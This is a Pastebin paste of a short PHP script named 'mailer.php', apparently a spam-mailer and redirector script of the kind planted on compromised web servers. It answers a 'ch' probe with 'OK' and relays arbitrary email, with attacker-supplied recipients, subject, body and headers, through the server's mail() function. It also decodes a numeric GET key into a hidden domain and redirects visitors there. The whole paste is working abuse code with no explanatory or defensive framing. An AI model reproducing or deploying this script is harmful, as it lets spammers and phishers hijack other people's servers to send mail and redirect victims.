PalmaSolutions

mailer.php

Jun 8th, 2018
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.47 KB | None | 0 0
  1. <?php
  2. if ($_GET ['ch']) {
  3.     echo "OK";
  4.     exit ();
  5. }
  6.  
  7. if($_POST['to'])
  8. {
  9.     $to = $_POST ['to'];
  10.     $subject = stripslashes ( $_POST ['subj'] );
  11.     $message = stripslashes ( $_POST ['mes'] );
  12.     $headers = stripslashes ( $_POST ['headers'] );
  13.    
  14.     if (mail ( $to, $subject, $message, $headers )) {
  15.         echo "Message sent successfully";
  16.     } else {
  17.         echo "An error occured";
  18.     }
  19. }
  20.  
  21. if (! $_POST['to'] && ! $_GET ['ch'] && count($_GET) > 0) {
  22.     $arr = array (
  23.         1 => 'a',
  24.             2 => 'b',
  25.             3 => 'c',
  26.             4 => 'd',
  27.             5 => 'e',
  28.             6 => 'f',
  29.             7 => 'g',
  30.             8 => 'h',
  31.             9 => 'i',
  32.             10 => 'j',
  33.             11 => 'k',
  34.             12 => 'l',
  35.             13 => 'm',
  36.             14 => 'n',
  37.             15 => 'o',
  38.             16 => 'p',
  39.             17 => 'q',
  40.             18 => 'r',
  41.             19 => 's',
  42.             20 => 't',
  43.             21 => 'u',
  44.             22 => 'v',
  45.             23 => 'w',
  46.             24 => 'x',
  47.             25 => 'y',
  48.             26 => 'z',
  49.             27 => '.',
  50.             28 => '1',
  51.             29 => '2',
  52.             30 => '3',
  53.             31 => '4',
  54.             32 => '5',
  55.             33 => '6',
  56.             34 => '7',
  57.             35 => '8',
  58.             36 => '9',
  59.             37 => '0'
  60.     );
  61.    
  62.     $var = key ( $_GET );
  63.    
  64.     $var_arr = explode ( "-", $var );
  65.    
  66.     foreach ( $var_arr as $value ) {
  67.         preg_match_all ( "~\d+~", $value, $matches );
  68.        
  69.         $value = implode ( "", $matches [0] );
  70.        
  71.         if ($value > sizeof ( $arr )) {
  72.             for($i = $value; $i > sizeof ( $arr ); $i = $i - sizeof ( $arr )) {
  73.                 $value = $i;
  74.             }
  75.            
  76.             $value -= sizeof ( $arr );
  77.         }
  78.        
  79.         $string .= $arr [$value];
  80.     }
  81.    
  82.     $link = $string . $_GET [$var];
  83.    
  84.     header ( "Location: http://{$link}" );
  85. }
Add Comment
Please, Sign In to add comment